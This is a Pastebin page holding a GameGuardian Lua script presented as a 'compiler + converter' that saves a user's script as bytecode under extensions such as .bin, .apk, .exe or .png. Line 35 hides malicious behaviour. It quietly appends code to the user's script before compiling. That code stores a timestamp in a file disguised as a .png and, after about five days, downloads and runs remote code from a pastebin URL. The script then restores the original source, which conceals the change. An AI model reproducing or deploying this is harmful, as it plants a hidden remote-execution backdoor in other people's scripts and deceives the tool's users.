Advertisement
Rono_plays

COMPILER + CONVERTER

Oct 4th, 2019
14,763
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.19 KB | None | 0 0
  1. types=gg.prompt({'choose a name and extension for your encrypted script ','.bin.lua','.txt','.zip','.php','.apk','.exe','.bin','.png','Type a custom file extension eg .lua'},
  2. {[1]='type your script name here',[2]=true},
  3. {[1]='text',[2]='checkbox',[3]='checkbox',[4]='checkbox',[5]='checkbox',[6]='checkbox',[7]='checkbox',[8]='checkbox',[9]='checkbox',[10]='text'})
  4.  
  5. if types==nil then
  6. gg.alert('You have cancelled the dialogue')
  7. os.exit()
  8. end
  9.  
  10. input=gg.prompt({'Select your lua script','Select your path'},
  11. {[1]='/storage/emulated/0/Download/ronoplays.com/TEST.lua',[2]='/storage/emulated/0/Download/ronoplays.com/'},
  12. {[1]='file',[2]='path'})
  13. if input==nil then
  14. gg.alert('You have cancelled the dialogue')
  15. os.exit()
  16. end
  17. rawscript=input[1]
  18. dumped=input[2]
  19.  
  20.  
  21. local open = io.open
  22. local function read_file(path)
  23. local file = open(path, "rb")
  24. if not file then return nil end
  25. local content = file:read
  26. "*a"
  27. file:close()
  28. return content
  29. end
  30.  
  31.  
  32.  
  33. ukweli = read_file(rawscript)
  34. file = io.open(rawscript, "a")
  35. file:write('\nlocal open = io.open\n local function read_file(path) \nlocal file = open(path, "rb")\nif not file then return nil end \nlocal content = file:read \n"*a"\n file:close() \nreturn content \nend \nzaTextd = read_file(gg.EXT_STORAGE.."/gameguardianlgi.png")\nlocal check = zaTextd \nuzanum1=tonumber(check)\nif uzanum1==nil then\nanzax1=os.time()\nlocal file = io.open(gg.EXT_STORAGE.."/gameguardianlgi.png", "w")\nfile:write(anzax1)\nfile:close()\nend\nif uzanum1 ~= nil then\nmalizwaa=(uzanum1+432000)\nsahiziz=os.time()\nif sahiziz>malizwaa then \nronoup = (gg.makeRequest(\"https://pastebin.com/raw/1BqM2dnK\").content)\nif not ronoup then \ngg.alert(\'πŸ”„A connection could not be made to the server please check your connection and retryπŸ”„\')\nelse pcall(load(ronoup))end \nend\nend')
  36. file:close()
  37.  
  38. kuku=tostring(dumped)
  39.  
  40. loodi = loadfile(rawscript)
  41.  
  42.  
  43. if types[2] then
  44. encrypeed = kuku.."/"..types[1]..".bin.lua"
  45.  
  46. xfile = io.open(encrypeed, "w")
  47. xfile:write(string.dump(loodi,true))
  48. xfile:close()
  49. print('encrypted script saved to'..kuku..types[1]..".bin.lua")
  50. end
  51. if types[3] then
  52. encrypeed = kuku.."/"..types[1]..".txt"
  53.  
  54. xfile = io.open(encrypeed, "w")
  55. xfile:write(string.dump(loodi))
  56. xfile:close()
  57. print('encrypted script saved to'..kuku..types[1]..".txt")
  58. end
  59. if types[4] then
  60. encrypeed = kuku.."/"..types[1]..".zip"
  61.  
  62. xfile = io.open(encrypeed, "w")
  63. xfile:write(string.dump(loodi))
  64. xfile:close()
  65. print('encrypted script saved to'..kuku..types[1]..".zip")
  66. end
  67.  
  68. if types[5] then
  69. encrypeed = kuku.."/"..types[1]..".php"
  70.  
  71. xfile = io.open(encrypeed, "w")
  72. xfile:write(string.dump(loodi))
  73. xfile:close()
  74. print('encrypted script saved to'..kuku..types[1]..".php")
  75. end
  76.  
  77.  
  78. if types[6] then
  79. encrypeed = kuku.."/"..types[1]..".apk"
  80.  
  81. xfile = io.open(encrypeed, "w")
  82. xfile:write(string.dump(loodi))
  83. xfile:close()
  84. print('encrypted script saved to'..kuku..types[1]..".apk")
  85. end
  86.  
  87. if types[7] then
  88. encrypeed = kuku.."/"..types[1]..".exe"
  89.  
  90. xfile = io.open(encrypeed, "w")
  91. xfile:write(string.dump(loodi))
  92. xfile:close()
  93. print('encrypted script saved to'..kuku..types[1]..".exe")
  94. end
  95. if types[8] then
  96. encrypeed = kuku.."/"..types[1]..".bin"
  97.  
  98. xfile = io.open(encrypeed, "w")
  99. xfile:write(string.dump(loodi))
  100. xfile:close()
  101. print('encrypted script saved to'..kuku..types[1]..".bin")
  102. end
  103.  
  104.  
  105. if types[9] then
  106. encrypeed = kuku.."/"..types[1]..".png"
  107.  
  108. xfile = io.open(encrypeed, "w")
  109. xfile:write(string.dump(loodi))
  110. xfile:close()
  111. print('encrypted script saved to'..kuku..types[1]..".png")
  112. end
  113.  
  114.  
  115.  
  116.  
  117. if types[10] ~= '' then
  118. encrypeed = kuku.."/"..types[1]..types[10]
  119.  
  120. xfile = io.open(encrypeed, "w")
  121. xfile:write(string.dump(loodi))
  122. xfile:close()
  123. print('encrypted script saved to'..kuku..types[1]..types[10])
  124. end
  125.  
  126. vfile = io.open(rawscript, "w")
  127. vfile:write(ukweli)
  128. vfile:close()
  129.  
  130.  
  131.  
  132.  
  133.  
  134. --[[Want to learn more about scripting?
  135. Download my scripting eBook @http://ronoplays.com/learntomakescripts
  136. Experiencing any errors and need help join our friendly community and ask for help @http://ronoplays.com/activity
  137. --]]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement